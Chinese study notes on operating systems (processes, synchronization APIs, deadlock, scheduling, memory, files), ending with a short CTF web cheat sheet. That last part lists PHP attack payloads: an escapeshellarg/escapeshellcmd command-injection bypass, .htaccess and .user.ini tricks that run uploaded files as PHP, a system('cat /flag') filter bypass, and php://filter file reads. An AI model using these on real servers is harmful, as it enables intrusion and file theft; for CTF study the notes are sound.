进程是资源分配的最小单位,线程是cpu调度的最小单位

进程的特征

  • 动态性 进程是程序的一次执行过程,动态产生/消亡
  • 并发性 进程可以同其他进程一起向前推进;
  • 异步性 进程按各自速度向前推进
  • 独立性 进程是系统分配资源和调度CPU的单位;

进程的状态:

  1. 就绪:当一个进程获得了除处理机以外的一切所需资源,一旦得到处理机即可运行,则称此进程处于就绪状态。就绪进程可以按多个优先级来划分队列。例如,当一个进程由于时间片用完而进入就绪状态时,排入低优先级队列;当进程由I/O操作完成而进入就绪状态时,排入高优先级队列。
  2. 运行:当一个进程在处理机上运行时,则称该进程处于运行状态。处于此状态的进程的数目小于等于处理器的数目,对于单处理机系统,处于运行状态的进程只有一个。在没有其他进程可以执行时(如所有进程都在阻塞状态),通常会自动执行系统的空闲进程。
  3. 阻塞:也称为等待或睡眠状态,一个进程正在等待某一事件发生(例如请求I/O而等待I/O完成等)而暂时停止运行,这时即使把处理机分配给进程也无法运行,故称该进程处于阻塞状态。

状态变迁:

  • 就绪-》运行:进程调度
  • 运行-》就绪:时间片到;被抢占
  • 运行-》阻塞:等待某事件如I/O请求
  • 阻塞-》就绪:I/O结束或等待的事情发生

五态:

  • 活跃就绪:是指进程在主存并且可被调度的状态。
  • 静止就绪(挂起就绪):是指进程被对换到辅存时的就绪状态,是不能被直接调度的状态,只有当主存中没有活跃就绪态进程,或者是挂起就绪态进程具有更高的优先级,系统将把挂起就绪态进程调回主存并转换为活跃就绪。
  • 活跃阻塞:是指进程已在主存,一旦等待的事件产生便进入活跃就绪状态。
  • 静止阻塞:是指进程对换到辅存时的阻塞状态,一旦等待的事件产生便进入静止就绪状态。

进程控制块(Process Control Block,PCB) :包含pid,进程当前的状态,next指针(指向当前队列的下一个进程),进程优先级,cpu现场保护区,和别的进程的通信信息,家族关系,占有资源清单等等。

进程控制的概念:在进程生存全期间,对其全部行为的控制

四个典型的控制行为

  • 创建进程
  • 撤消进程
  • 阻塞进程
  • 唤醒进程

原语:由若干指令构成的具有特定功能的函数,具有原子性,其操作不可分割

临界资源:一次只允许一个进程独占访问使用的资源

临界区:进程中访问临界资源的程序段

设计临界区访问机制的四个原则

  • 忙则等待
  • 空闲让进
  • 有限等待
  • 让权等待

同步: 合作进程中某些操作之间需要满足某种先后关系或某个操作能否进行需要某个前提条件满足,否则只能等待

同步编程应用:

  • 临界区(锁)CRITICAL_SECTION 在进程内使用,保证仅一个线程可以申请到该对象。
  • 互斥量(Mutex) (锁)HANDLE 保证只有一个线程或进程可以申请到该对象。
  • 信号量(Semaphore)HANDLE 允许指定数目的多个线程/进程访问临界区
  • 事件(Event)HANDLE 用于通知一个或多个线程某事件出现或标识某操作已经完成。
  • 等待操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
//WINDOWS同步机制

DWORD WaitForMultipleObjects (
DWORD nCount,//等待对象的数量
CONST HANDLE *lpHandles,//对象句柄的数组
BOOL bWaitAll,//等待方式(true全部等待)
DWORD dwMilliseconds//等待时间,单位MS
);

DWORD WaitForSingleObject (
HANDLE hHandle,//对象句柄
DWORD dwMilliseconds//等待时间,单位MS
);
/****************************************************************/
EnterCriticalSection( );//上锁操作/进入临界区
LeaveCriticalSection( );//开锁操作/离开临界区
InitializeCriticalSection( );//初始化临界区/初始化锁
DeleteCriticalSection( );//删除临界区/删除锁
/****************************************************************/
HANDLE CreateMutex( //创建互斥量 :全局用1次
LPSECURITY_ATTRIBUTES lpMutexAttributes,
BOOL bInitialOwner, // 初始化互斥量的状态:真或假
LPCTSTR lpName // 名字,可为NULL但不能跨进程用
);

HANDLE OpenMutex(//打开互斥量: 每个进程用1次
DWORD dwDesiredAccess,
BOOL bInheritHandle,
LPCTSTR lpName // 名字
);

BOOL CloseHandle(//关闭互斥量: 每个进程用1次
HANDLE hObject // 句柄
);

BOOL ReleaseMutex(// 释放:开锁
HANDLE hMutex // 句柄
);
/****************************************************************/
HANDLE CreateSemaphore( //创建信号量:全局用1次
LPSECURITY_ATTRIBUTES lpSemaphoreAttributes,// 安全属性
LONG lInitialCount, // 初始值
LONG lMaximumCount, // 最大值
LPCTSTR lpName // 名字
);

HANDLE OpenSemaphore(//打开信号量:每个进程用1次
DWORD dwDesiredAccess, // 存取方式
BOOL bInheritHandle, // 是否能被继承
LPCTSTR lpName // 名字
);

BOOL CloseHandle(//关闭信号量:每个进程用1次
HANDLE hObject // 句柄
);

BOOL ReleaseSemaphore(//释放信号量
HANDLE hSemaphore, // 句柄
LONG lReleaseCount, // 释放数,让信号量的值增加的数量
LPLONG lpPreviousCount // 得到释放前信号量的值,可为NULL
);
/****************************************************************/
HANDLE CreateEvent ( //创建事件对象
LPSECURITY_ATTRIBUTES lpEventAttributes,// 安全属性
BOOL bManualReset, // 是否为人工重置
BOOL bInitialState, // 初始状态是否为有信号状态
LPCTSTR lpName // 名字
);
HANDLE OpenEvent (//打开事件对象
DWORD dwDesiredAccess, // 存取方式
BOOL bInheritHandle, // 是否能够被继承
LPCTSTR lpName // 名字
);
BOOL ResetEvent (//设置事件为无信号状态
HANDLE hEvent // 句柄
);
BOOL SetEvent (//设置事件有信号状态
HANDLE hEvent // 句柄
);
BOOL CloseHandle (//关闭事件对象
HANDLE hObject // 句柄
);

进程通信

  • 管道通信仅能用于父子或兄弟进程间通信
  • 双向通信必须建立2个管道

软件中断:由写在程序中的语句引起的中断程序的执行,称为软件中断。

Linux软中断通信机制

  • kill(pid, sig):传递软中断信号
  • signal(sig, func):注册软中断信号
  • wait( ):用于父子进程间的同步
  • sleep( n ):使当前进程睡眠n秒后自动唤醒自己

死锁:两个或多个进程无限期地等待永远不会发生的条件的一种系统状态。

死锁的原因:

  • 系统资源有限
  • 并发进程推进顺序不当

死锁的必要条件 :

  • 资源独占性
  • 不可剥夺
  • 部分分配
  • 环路条件

预防死锁:

  • 破坏互斥条件
  • 破坏不剥夺条件
  • 破坏部分分配条件 预先静态分配法
  • 破坏环路条件 有序资源分配法

避免死锁:银行家算法

检测死锁

恢复死锁

进程调度概念: 在合适的时候以一定策略选择一个就绪进程运行

进程调度的目标

  • 响应速度尽可能快
  • 进程处理的时间尽可能短
  • 系统吞吐量尽可能大
  • 资源利用率尽可能高
  • 对所有进程要公平
  • 避免饥饿
  • 避免死锁

进程调度两个量化的衡量指标

  • 周转时间/平均周转时间 进程提交给计算机到完成所花费的时间
  • 带权周转时间/平均带权周转时间 进程的周转时间/进程的运行时间

进程调度算法

  • 先来先服务调度(First Come First Serve)
  • 短作业优先调度算法(Short Job First)
  • 响应比高者优先调度算法 响应比 =(等待时间+运行时间)/运行时间
  • 优先数调度算法 进程优先数=静态优先数+动态优先数
  • 循环轮转调度法(ROUND-ROBIN) 进程以时间片q为单位轮流使用CPU
  • 可变时间片轮转调度法 时间片的大小可变
  • 多重时间片循环调度法 组织多个轮转队列

linux进程调度

  • 基于优先级调度,选择优先级最高的进程运行
  • 既支持普通的分时进程,也支持实时进程
  • 让实时进程优先于普通进程
  • 保证普通进程公平使用CPU时间
  • 普通进程

    采用动态优先级来调度

    调度程序周期性地修改优先级(避免饥饿)

  • 实时进程

    采用静态优先级来调度

    由用户预先指定,以后不会改变

    实时进程的优先级总是比普通进程的优先级高

存储管理的功能

  • 地址映射
  • 虚拟存储
    1. 页式虚拟存储
    2. 段式虚拟存储
  • 内存分配
  • 存储保护

物理内存管理

  • 单一区存储管理(不分区存储管理)

  • 分区存储管理

    分区的分配 在所有空闲区中寻找一个空闲区,分配给用户使用。

    1. 首次适应法 尽可能地先利用低地址空间
    2. 最佳适应法 选中分区是满足要求的最小的空闲区
    3. 最坏适应法 空闲区表按大小递减排序
  • 内存覆盖技术 常驻区 覆盖区

  • 内存交换技术

    内存不够时把进程写到磁盘(换出/Swap Out)

    当进程要运行时重新写回内存(换入/Swap In)

虚拟内存管理

改善物理内存管理的相关技术

  • 内存拼接
  • 对换技术【Swapping】
  • 覆盖技术【Overlay】

典型虚拟内存管理方式

  • 页式虚拟存储管理

    • 虚拟地址VA 分成页号P和页内偏移W

    • 页表扩充

      • 中断位I ——标识该页是否在内存

        I =1,不在内存

        I =0,在内存

      • 辅存地址——该页在辅存上的位置

      • 访问位——标识该页最近是否被访问?

        0 最近没有被访问

        1 最近已被访问

      • 修改位——标识该页的数据是否已被修改?

        0 该页未被修改

        1 该页已被修改

    • 缺页中断

    • 淘汰策略

      • 最佳算法(OPT算法)

        淘汰以后不再需要或最远的将来才会用到的页面

      • 先进先出淘汰算法(FIFO算法)

        淘汰在内存中停留时间最长的页面

      • 最久未使用淘汰算法(LRU算法)

        淘汰最长时间未被使用的页面,页面设置一个定时器(移位寄存器R)。页面被访问则重置1。周期性地(周期很短)将所有页面的R左移1位(右边补0)

      • 最不经常使用(LFU算法 )

        选择到当前时间为止被访问次数最少的页面

  • 段式虚拟存储管理

  • 段页式虚拟存储管理

设备按信息组织特征分为字符设备(如打印机), 块设备(如磁盘),网络设备

设备独立性

  • 设备独立性:用户在程序中仅使用仅与实际设备无关的逻辑设备名
  • 逻辑设备名:用户自己指定的暂时的、可更改的设备名 (或设备号)。
  • 物理设备名:系统提供的永久的、不可更改的设备标准名称。
  • 程序独立于分配给它的某种类型的具体设备
    1. 系统可动态分配给程序某类设备中任一台物理设备,程序都
      能正确地执行。
  • 程序应尽可能与它所使用的I/O设备类型无关
    1. 在输入/输出信息时,信息可以来自不同类型的具体设备
    2. 若要改变输入 /输出设备的类型,程序只需进行最少的改动。
  • 设备独立性的优点
    1. 方便用户
    2. 改善设备利用率
    3. 提高系统的可扩展性和可适应性修改。

缓冲: 用来暂时存放io数据的区域。

引入缓冲的原因:

  • 生产、消费者速度有差异
  • 传输数据速度不一致
  • 可以用来实现应用程序的拷贝

缓冲作用:

  • 连接不同数据传输速度的设备
  • 协调数据记录大小的不一致
  • 正确执行应用程序的语义拷贝

spolling技术

  • 任务执行前:预先将程序和数据输入到输入井中
  • 任务运行时:使用数据时,从输入井中取出
  • 任务运行时:输出数据时,把数据写入输出井
  • 任务运行完:外设空闲时输出全部数据和信息

设备驱动程序的开发过程

文件是系统中信息存放的一种组织形式

  • 文件是若干信息项的构成。(信息项可以是字节,可以是结构化数据。)
  • 用户通过读写指针来存取文件的信息项。
  • 文件具有文件名。用户通过文件名存取文件。

文件分类

  • 用途:系统文件,库文件,用户文件

  • 操作权限:只读文件,读写文件,不保护文件

  • 性质:普通文件,目录文件,设备文件

  • 逻辑结构:流式文件(采用),记录文件

  • 物理结构:

    连续文件

    索引结构

    串联文件(FAT文件系统)

文件系统的目标是让用户以文件名来存取文件

文件逻辑结构

  • (用户的观点)
  • 为用户提供逻辑结构清晰、使用方便的文件。
  • 强调文件信息项的构成方式和用户的存取方式

文件物理结构

  • (系统的观点)
  • 文件在存储设备(例:硬盘)上的存储结构
  • 强调合理利用储存空间,缩短I/O存取时间。

记录磁盘空闲块的方法:

  • 空闲文件目录:一片连续空闲区组成一个空闲文件

  • 空闲块链:所有空闲块连接在一起

  • 位示图:每个bit对应1个存储块的使用情况,0表示占用,1表示空闲

文件目录管理

文件目录: 文件名址录,记录文件名和存放地址的目录表

文件全名: 包括从根目录开始到文件为止的通路上所有子目录路径。

CTF WEB

PHP相关

  • 利用scapeshellcmd逃脱escapeshellarg单引号的束缚

    传入的参数是:

    1
    172.17.0.2' shellcode'

    经过escapeshellarg处理后变成了

    1
    '172.17.0.2'\'' shellcode'\'''

    即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

    经过escapeshellcmd处理后变成

    1
    '172.17.0.2'\\'' shellcode'\\'''

    这是因为escapeshellcmd对\以及最后那个不配对的引号进行了转义:

    最后执行的命令是

    1
    curl '172.17.0.2'\\'' shellcode'\\'''

    由于中间的\被解释为\而不再是转义字符,所以后面的’没有被转义,与再后面的’配对成了一个空白连接符

    所以可以简化为

    1
    curl 172.17.0.2\ shellcode'\'

    即向172.17.0.2\发起请求,并执行shellcode。

  • php 单引号只会解析转义字符

    1
    \\、\’

    双引号则会解析变量的值,同时解析所有转义字符

反序列化

  • 在$v可控的情况下,可以传入元素为一个对象和函数名的数组,这样$v()就能调用这个对象的方法
  • php反序列化逃逸参考这个https://xz.aliyun.com/t/6718

文件上传

  • 低版本ngnix .htaccess 解析漏洞的利用:

    1
    AddType application/x-httpd-php .png

    可以将png文件解析为php

    1
    <FilesMatch "1">SetHandler application/x-httpd-php</FilesMatch>

把文件名包含1的解析为php

  • php还可以写作php3,php5,phtml

  • 对<?的过滤可以用下面这个语句绕过

    1
    2
    <script language=php>system("cat /flag");</script>

  • CGI/FastCGI 模式的服务器上.user.ini的利用

    auto_prepend_file和auto_append_file我们指定一个文件(如a.jpg),

    那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:

    1
    2
    require(./a.jpg);

    这两个设置的区别只是在于auto_prepend_file是在文件前插入

    auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)

  • 双文件上传绕过同时上传两个文件

    第一个文件为合法文件,第二个为马。php判断第一个文件合法即令 EnableUplad 的值为 True,是第二个文件成功绕过。

文件包含/读取

  • file_get_contents:

    1
    2
    3
      $str = $_GET['cmd'];
    $a = file_get_contents($str,'r');
    if($a === "XXXX")

    这时需要给cmd赋为php://input,这样就会读取post中的内容,但post格式不能为 multipart/form-data。

  • 目录穿越时是不能出现文件的,只能是目录。

  • include:
    读取文件时可以利用

    1
    2
    file=php://filter/read=convert.base64-encode/resource=flag.php
    file=php://filter/convert.base64-encode/resource=index.php

读取文件内容。

  • data:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    data:,<文本数据>
    data:text/plain,<文本数据>
    data:text/html,<HTML代码>
    data:text/html;base64,<base64编码的HTML代码>
    data:text/css,<CSS代码>
    data:text/css;base64,<base64编码的CSS代码>
    data:text/javascript,<Javascript代码>
    data:text/javascript;base64,<base64编码的Javascript代码>
    data:image/gif;base64,base64编码的gif图片数据
    data:image/png;base64,base64编码的png图片数据
    data:image/jpeg;base64,base64编码的jpeg图片数据
    data:image/x-icon;base64,base64编码的icon图片数据

  • 包含session

    session默认存放位置

    • /var/lib/php/sess_PHPSESSID
    • /var/lib/php/sessions/sess_PHPSESSID
    • /tmp/sess_PHPSESSID/tmp/sessions/sess_PHPSESSID